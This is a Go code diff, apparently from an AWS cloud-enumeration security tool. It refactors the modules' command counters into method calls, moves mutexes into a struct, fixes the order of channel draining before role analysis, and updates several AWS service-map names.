@@ -1614,7 +1614,7 @@ func (m *EndpointsModule) getAppRunnerEndpointsPerRegion(r string, wg *sync.Wait
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
if DescribeCustomDomains.DNSTarget != nil {
@@ -1667,8 +1667,8 @@ func (m *EndpointsModule) appRunnerDescribeCustomDomain(r string, serviceArn str
func (m *EndpointsModule) getLightsailContainerEndpointsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -1676,9 +1676,9 @@ func (m *EndpointsModule) getLightsailContainerEndpointsPerRegion(r string, wg *
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
var public = "True"
var protocol = "https"
var port int32 = 443
@@ -1687,7 +1687,7 @@ func (m *EndpointsModule) getLightsailContainerEndpointsPerRegion(r string, wg *
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
if len(containerServices) > 0 {
+47 -47
View File
@@ -105,7 +105,7 @@ func (m *EnvsModule) PrintEnvs(outputDirectory string, verbosity int) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -290,7 +290,7 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
}
res, _ := servicemap.IsServiceInRegion("ecs", r)
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getECSEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -300,32 +300,32 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getLambdaEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
}
// AppRunner is not supported in the aws service region catalog so we have to run it in all regions
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAppRunnerEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
res, err = servicemap.IsServiceInRegion("lightsail", r)
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getLightsailEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("sagemaker", r)
res, err = servicemap.IsServiceInRegion("sagemaker-ai", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getSagemakerEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -334,8 +334,8 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -343,9 +343,9 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
//var PaginationMarker *string
@@ -364,7 +364,7 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
for _, containerDefinition := range DescribeTaskDefinition.TaskDefinition.ContainerDefinitions {
@@ -390,7 +390,7 @@ func (m *EnvsModule) getTaskDefinitionFamilies(region string) []string {
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -425,8 +425,8 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerDefinition(taskDefinition ecsT
func (m *EnvsModule) getLambdaEnvironmentVariablesPerRegion(region string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -434,14 +434,14 @@ func (m *EnvsModule) getLambdaEnvironmentVariablesPerRegion(region string, wg *s
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
Functions, err := sdk.CachedLambdaListFunctions(m.LambdaClient, aws.ToString(m.Caller.Account), region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -467,8 +467,8 @@ func (m *EnvsModule) getLambdaEnvironmentVariablesPerFunction(function lambdaTyp
func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -476,16 +476,16 @@ func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *syn
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
ServiceSummaryList, err := sdk.CachedAppRunnerListServices(m.AppRunnerClient, aws.ToString(m.Caller.Account), r)
if err != nil {
//modLog.Error(err.Error())
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
if len(ServiceSummaryList) > 0 {
@@ -506,7 +506,7 @@ func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *syn
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -530,8 +530,8 @@ func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *syn
func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -539,16 +539,16 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
awsService := "Lightsail [Container]"
ContainerServices, err := sdk.CachedLightsailGetContainerServices(m.LightsailClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -574,8 +574,8 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -583,9 +583,9 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
awsService := "Sagemaker"
var PaginationControl *string
@@ -603,7 +603,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -621,7 +621,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -665,7 +665,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -683,7 +683,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -726,7 +726,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -744,7 +744,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -788,7 +788,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -805,7 +805,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
+16 -16
View File
@@ -245,7 +245,7 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
f := filepath.Join(path, "filesystems-mount-commands.txt")
@@ -283,7 +283,7 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), f)
if verbosity > 2 {
@@ -297,20 +297,20 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
var policy string
DescribeFileSystems, err := sdk.CachedDescribeFileSystems(m.EFSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -336,7 +336,7 @@ func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup,
DescribeMountTargets, err := sdk.CachedDescribeMountTargets(m.EFSClient, aws.ToString(m.Caller.Account), r, id)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -349,7 +349,7 @@ func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup,
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
dataReceiver <- FilesystemObject{
AWSService: awsService,
Region: r,
@@ -381,14 +381,14 @@ func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup,
func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationMarker *string
var PaginationMarker2 *string
@@ -410,7 +410,7 @@ func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup,
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
+16 -16
View File
@@ -276,7 +276,7 @@ func (m *IamSimulatorModule) writeLoot(outputDirectory string, verbosity int, pm
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
outFile := filepath.Join(path, "iam-simulator-pmapper-commands.txt")
@@ -292,7 +292,7 @@ func (m *IamSimulatorModule) writeLoot(outputDirectory string, verbosity int, pm
err = os.WriteFile(outFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
if verbosity > 2 {
@@ -329,18 +329,18 @@ func (m *IamSimulatorModule) executeChecks(wg *sync.WaitGroup, resource string,
func (m *IamSimulatorModule) getIAMUsers(wg *sync.WaitGroup, actions []string, resource string, dataReceiver chan SimulatorResult) {
defer func() {
wg.Done()
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -369,19 +369,19 @@ func (m *IamSimulatorModule) getIAMUsers(wg *sync.WaitGroup, actions []string, r
func (m *IamSimulatorModule) getIAMRoles(wg *sync.WaitGroup, actions []string, resource string, dataReceiver chan SimulatorResult) {
defer func() {
wg.Done()
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -419,7 +419,7 @@ func (m *IamSimulatorModule) getPolicySimulatorResult(principal *string, actionN
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
m.modLog.Error(fmt.Sprintf("Failed to query actions for %s\n\n", aws.ToString(principal)))
return
}
@@ -464,7 +464,7 @@ func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
)
if err != nil {
m.modLog.Error(err)
m.CommandCounter.Error++
m.CommandCounter.IncrError()
m.modLog.Errorf("Failed admin check on %s", aws.ToString(principal))
return false
}
+23 -21
View File
@@ -122,15 +122,19 @@ func (m *InstancesModule) Instances(filter string, outputDirectory string, verbo
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(instancesToSearch, region, wg, dataReceiver)
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Perform role analysis
// Signal the receiver to stop and wait for it to finish draining the channel.
// This must happen BEFORE role analysis to ensure all MappedInstances are collected.
receiverDone <- true
<-receiverDone
// Perform role analysis (all instances are now in m.MappedInstances)
if m.pmapperError == nil {
for i := range m.MappedInstances {
m.MappedInstances[i].Admin, m.MappedInstances[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.MappedInstances[i].Role)
@@ -144,8 +148,6 @@ func (m *InstancesModule) Instances(filter string, outputDirectory string, verbo
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
// This conditional block will either dump the userData attribute content or the general instances data, depending on what you select via command line.
//fmt.Printf("\n[*] Preparing output...\n\n")
@@ -180,7 +182,7 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputDirectory s
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
userDataFileName := filepath.Join(path, fmt.Sprintf("%s.txt", m.output.CallingModule))
@@ -212,7 +214,7 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputDirectory s
err = os.WriteFile(userDataFileName, []byte(userDataOut), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), userDataFileName)
} else {
@@ -343,7 +345,7 @@ func (m *InstancesModule) writeLoot(outputDirectory string, verbosity int) {
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
privateIPsFilename := filepath.Join(path, "instances-ec2PrivateIPs.txt")
publicIPsFilename := filepath.Join(path, "instances-ec2PublicIPs.txt")
@@ -394,22 +396,22 @@ func (m *InstancesModule) writeLoot(outputDirectory string, verbosity int) {
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
err = os.WriteFile(publicIPsFilename, []byte(publicIPs), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
err = os.WriteFile(ssmCommandsFilename, []byte(ssmCommands), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
err = os.WriteFile(ec2InstanceConnectCommandsFilename, []byte(ec2InstanceConnectCommands), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
@@ -446,17 +448,17 @@ func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg
res, err := servicemap.IsServiceInRegion("ec2", r)
if err != nil {
m.modLog.Errorf("Error checking if EC2 is available in region %s: %v", r, err)
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
m.modLog.Debugf("ServiceMap check for EC2 in region %s: result=%v, error=%v", r, res, err)
if res {
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
m.getDescribeInstances(instancesToSearch, r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
} else {
m.modLog.Infof("Skipping region %s: EC2 not available or check failed", r)
}
@@ -467,7 +469,7 @@ func (m *InstancesModule) getInstanceUserDataAttribute(instanceID *string, regio
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return nil, err
} else {
if UserData == "" {
@@ -487,7 +489,7 @@ func (m *InstancesModule) getDescribeInstances(instancesToSearch []string, regio
Instances, err := sdk.CachedEC2DescribeInstances(m.EC2Client, aws.ToString(m.Caller.Account), region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -586,7 +588,7 @@ func (m *InstancesModule) getRolesFromInstanceProfiles() {
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
for _, instanceProfile := range ListInstanceProfiles.InstanceProfiles {
+343 -343
View File
File diff suppressed because it is too large. Load diff
+9 -9
View File
@@ -105,7 +105,7 @@ func (m *LambdasModule) PrintLambdas(outputDirectory string, verbosity int) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -241,7 +241,7 @@ func (m *LambdasModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getLambdasPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -265,7 +265,7 @@ func (m *LambdasModule) writeLoot(outputDirectory string, verbosity int) {
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
pullFile := filepath.Join(path, "lambda-get-function-commands.txt")
@@ -289,7 +289,7 @@ func (m *LambdasModule) writeLoot(outputDirectory string, verbosity int) {
err = os.WriteFile(pullFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
if verbosity > 2 {
@@ -306,8 +306,8 @@ func (m *LambdasModule) writeLoot(outputDirectory string, verbosity int) {
func (m *LambdasModule) getLambdasPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Lambda) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -319,7 +319,7 @@ func (m *LambdasModule) getLambdasPerRegion(r string, wg *sync.WaitGroup, semaph
functions, err := m.listFunctions(r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, function := range functions {
@@ -360,7 +360,7 @@ func (m *LambdasModule) listFunctions(r string) ([]types.FunctionConfiguration,
)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return functions, err
}
functions = append(functions, ListFunctions.Functions...)
@@ -389,7 +389,7 @@ func (m *LambdasModule) getResourcePolicy(r string, functionName string) (policy
)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return projectPolicy, err
}
+68 -63
View File
@@ -50,9 +50,6 @@ var (
# Make sure the host you scan IPv6 from has an IPv6 network interface.
#############################################
`
naclsMutex = sync.RWMutex{}
securityGroupsMutex = sync.RWMutex{}
)
type NetworkPortsModule struct {
@@ -77,11 +74,13 @@ type NetworkPortsModule struct {
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
IPv4_Private []NetworkService
IPv4_Public []NetworkService
IPv6 []NetworkService
nacls map[string]*[]ec2_types.NetworkAcl
securityGroups map[string]*[]ec2_types.SecurityGroup
IPv4_Private []NetworkService
IPv4_Public []NetworkService
IPv6 []NetworkService
nacls map[string]*[]ec2_types.NetworkAcl
securityGroups map[string]*[]ec2_types.SecurityGroup
naclsMutex sync.RWMutex
securityGroupsMutex sync.RWMutex
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
@@ -172,7 +171,7 @@ func (m *NetworkPortsModule) PrintNetworkPorts(outputDirectory string) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, dataReceiver)
}
@@ -287,7 +286,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
m.getEC2NetworkPortsPerRegion(r, dataReceiver)
}
@@ -296,7 +295,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
m.getECSNetworkPortsPerRegion(r, dataReceiver)
}
@@ -305,7 +304,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
m.getEFSNetworkPortsPerRegion(r, dataReceiver)
}
@@ -314,25 +313,25 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
m.getElastiCacheNetworkPortsPerRegion(r, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("elb", r)
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
m.getLBNetworkPortsPerRegion(r, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("lightsail", r)
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
m.getLightsailNetworkPortsPerRegion(r, dataReceiver)
}
@@ -341,7 +340,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
m.getRdsNetworkPortsPerRegion(r, dataReceiver)
}
@@ -429,8 +428,8 @@ func (m *NetworkPortsModule) writeLootFile(filename string, bannner string, ipv4
func (m *NetworkPortsModule) getEC2NetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
nacls := m.getEC2NACLsPerRegion(r)
@@ -533,8 +532,8 @@ func (m *NetworkPortsModule) getEC2NetworkPortsPerRegion(r string, dataReceiver
func (m *NetworkPortsModule) getECSNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
nacls := m.getEC2NACLsPerRegion(r)
@@ -548,7 +547,7 @@ func (m *NetworkPortsModule) getECSNetworkPortsPerRegion(r string, dataReceiver
service, err := m.describeECSService(serviceArn, &clusterArn, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -585,7 +584,7 @@ func (m *NetworkPortsModule) getECSNetworkPortsPerRegion(r string, dataReceiver
task, err := m.describeECSTask(taskArn, &clusterArn, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -668,8 +667,8 @@ func (m *NetworkPortsModule) getECSNetworkPortsPerRegion(r string, dataReceiver
func (m *NetworkPortsModule) getEFSNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
nacls := m.getEC2NACLsPerRegion(r)
@@ -731,8 +730,8 @@ func (m *NetworkPortsModule) getEFSNetworkPortsPerRegion(r string, dataReceiver
func (m *NetworkPortsModule) getElastiCacheNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
nacls := m.getEC2NACLsPerRegion(r)
@@ -843,8 +842,8 @@ func (m *NetworkPortsModule) getElastiCacheNetworkPortsPerRegion(r string, dataR
func (m *NetworkPortsModule) getLBNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
nacls := m.getEC2NACLsPerRegion(r)
@@ -959,8 +958,8 @@ func (m *NetworkPortsModule) getLBNetworkPortsPerRegion(r string, dataReceiver c
func (m *NetworkPortsModule) getLightsailNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
instances := m.getLightsailInstancesPerRegion(r)
@@ -1070,8 +1069,8 @@ func (m *NetworkPortsModule) getLightsailNetworkPortsPerRegion(r string, dataRec
